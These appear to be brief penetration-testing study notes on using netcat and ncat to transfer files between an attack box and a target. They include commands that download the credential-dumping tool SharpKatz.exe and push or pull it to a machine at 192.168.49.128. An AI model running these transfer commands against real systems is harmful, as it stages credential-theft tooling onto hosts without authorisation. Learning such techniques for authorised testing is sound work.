Misc and Sessions

Netcat

read write using tcp/udp > use for file transfer

depricated > nmap made Ncat with ssl, ipv6 , socks ,http

transfer https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe to machine

nc -nvlp 8000> output.exe

—recv-only if ncat is used to close connection after file transfer

send to nc

wget -q <https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe>
nc -q 0 192.168.49.128 8000 < SharpKatz.exe

—send-only to disconnect after transfer instead of -q 0

machine doesnt listen to receive

if inbound connection is of on machine . listener on 443 and machine connects to get file.

attackbox ( with ncat —send-only)

sudo nc -l -p 443 -q 0 < SharpKatz.exe

machine ( with ncat —recv-only)

nc 192.168.49.128 443 > SharpKatz.exe

with /dev/tcp

host ncat listener